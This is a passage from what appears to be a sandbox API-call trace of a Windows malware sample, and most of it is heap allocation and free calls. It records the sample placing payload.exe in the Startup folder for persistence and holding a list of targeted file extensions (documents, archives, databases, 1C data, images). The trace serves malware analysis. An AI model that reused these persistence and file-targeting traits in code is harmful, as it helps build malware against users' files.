lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0146.188] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x660000) returned 1 [0146.189] lstrlenW (lpString="payload.exe") returned 11 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d768, Size=0x40) returned 0x677950 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b82a8, Size=0x20) returned 0x69d790 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b82a8, Size=0x20) returned 0x69d650 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d650, Size=0x40) returned 0x6775a8 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6b49d8 [0146.189] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b49d8, Size=0x100) returned 0x6f5688 [0146.189] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0146.189] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5688 | out: hHeap=0x660000) returned 1 [0146.189] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6d5128, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0146.189] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6e5130 | out: hHeap=0x660000) returned 1 [0146.189] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6d5128 | out: hHeap=0x660000) returned 1 [0146.190] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df58, Size=0x8) returned 0x69dec8 [0146.190] lstrlenW (lpString="%windir%;") returned 9 [0146.190] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d790 | out: hHeap=0x660000) returned 1 [0146.190] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0146.190] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5120 | out: hHeap=0x660000) returned 1 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b82a8, Size=0x20) returned 0x69d538 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d538, Size=0x40) returned 0x6775a8 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6775a8, Size=0x80) returned 0x6b5258 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b5258, Size=0x100) returned 0x6f5fd0 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de28, Size=0x8) returned 0x69de48 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de48, Size=0x10) returned 0x6b8380 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8380, Size=0x20) returned 0x69d448 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df88, Size=0x8) returned 0x69de48 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfd8, Size=0x8) returned 0x69dfc8 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df58, Size=0x8) returned 0x69de28 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de28, Size=0x10) returned 0x6b8680 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8680, Size=0x20) returned 0x69d790 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69de48, Size=0x10) returned 0x6b8698 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfc8, Size=0x10) returned 0x6b8728 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df08, Size=0x8) returned 0x69de28 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfc8, Size=0x8) returned 0x69df18 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8698, Size=0x20) returned 0x69d808 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8728, Size=0x20) returned 0x69d768 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df68, Size=0x8) returned 0x69df88 [0146.191] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0146.191] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5fd0 | out: hHeap=0x660000) returned 1 [0146.191] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8530, Size=0x20) returned 0x69d678 [0146.192] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6c5120, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0146.192] lstrlenW (lpString="C:\\") returned 3 [0146.192] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.192] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c5120 | out: hHeap=0x660000) returned 1 [0146.193] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df98, Size=0x82) returned 0x6a32f0 [0146.193] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69dfc8, Size=0x100) returned 0x6f5cb8 [0146.193] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a32f0, Size=0x104) returned 0x6b6d40 [0146.193] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6f5cb8, Size=0x200) returned 0x6b6e50 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfa8 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b6e50 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8650 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b51d0 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8560 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5258 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8740 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b6d40 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8620 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3380 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8668 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3410 | out: hHeap=0x660000) returned 1 [0146.194] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8488 | out: hHeap=0x660000) returned 1 [0146.194] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b8740, Size=0x20) returned 0x69d7e0 [0146.194] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d7e0, Size=0x40) returned 0x677680 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69dfb8 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b86c8 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6a3260 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8770 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b57a8 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b8728 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69def8 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b84b8 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x676230 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6750d8 | out: hHeap=0x660000) returned 1 [0146.195] lstrlenW (lpString="%systemdrive%") returned 13 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69d678 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6b5148 | out: hHeap=0x660000) returned 1 [0146.195] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x69df68 | out: hHeap=0x660000) returned 1 [0146.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6a4908, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0146.195] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10014) returned 0x6c5120 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b84b8 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b84b8, Size=0x20) returned 0x69d470 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d470, Size=0x40) returned 0x677758 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x6b5038 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b5038, Size=0x100) returned 0x6f5478 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6f5478, Size=0x200) returned 0x6a3260 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x400) returned 0x6b6d40 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b6d40, Size=0x800) returned 0x6f8148 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6f8148, Size=0x1000) returned 0x6f8148 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10000) returned 0x6d5140 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6b8560 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b8650 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69df68 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6b8488 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x4) returned 0x69de48 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b86c8 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df68, Size=0x8) returned 0x69df98 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8530 [0146.196] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69df98, Size=0x10) returned 0x6b84b8 [0146.196] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8728 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8770 [0146.197] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b84b8, Size=0x20) returned 0x69d538 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8578 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69df68 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b85a8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b8590 [0146.197] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x69d538, Size=0x40) returned 0x677758 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b8740 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b84b8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b8680 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6b85d8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b86e0 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8668 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69def8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b84e8 [0146.197] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x677758, Size=0x80) returned 0x6b5720 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8500 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6b8518 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa0c0 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa138 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa0a8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fa0d8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa120 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69de58 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa0f0 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6fa108 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6fa090 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9328 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9418 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9340 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9370 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f91c0 [0146.197] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6b5720, Size=0x100) returned 0x6f5fd0 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9448 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9280 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f91a8 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6f9478 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9358 [0146.197] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9388 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69df98 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9268 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f93b8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9460 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69de88 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f91f0 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f92f8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dfb8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9250 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9430 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9190 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f93d0 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f91d8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f93e8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6f9400 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f92e0 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x6f93a0 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9298 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9208 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9220 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9310 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69de98 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9238 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f92b0 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f92c8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f95e0 [0146.198] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6f5fd0, Size=0x200) returned 0x6a3260 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9598 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69de68 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9520 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9658 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9730 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f94a8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f96b8 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9670 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9748 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9718 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9538 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9550 [0146.198] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9760 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f94d8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9568 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f95b0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9580 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f95c8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f94c0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f96e8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9490 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f96d0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9688 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dfc8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9778 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f95f8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9610 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dfa8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9628 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f94f0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9508 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9700 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f96a0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9640 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f97f0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9808 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9940 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f99d0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9910 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f97a8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f98e0 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9928 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f98f8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a78 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9880 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9958 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a00 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a60 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9790 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x69dfd8 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x6) returned 0x69dd78 [0146.199] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f97c0 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9868 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f97d8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9850 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9820 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f98c8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9970 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9838 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9898 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9988 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f98b0 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f99e8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f99a0 [0146.200] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6a3260, Size=0x400) returned 0x6b6d40 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f99b8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a30 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9a18 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9a48 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9aa8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9be0 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9d30 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d00 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9bc8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d48 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8) returned 0x676e48 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b50 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc) returned 0x6f9ca0 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9ad8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b68 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d60 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9bf8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xe) returned 0x6f9b80 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d18 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9b98 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9d78 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9c70 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9ce8 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa) returned 0x6f9bb0 [0146.200] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, 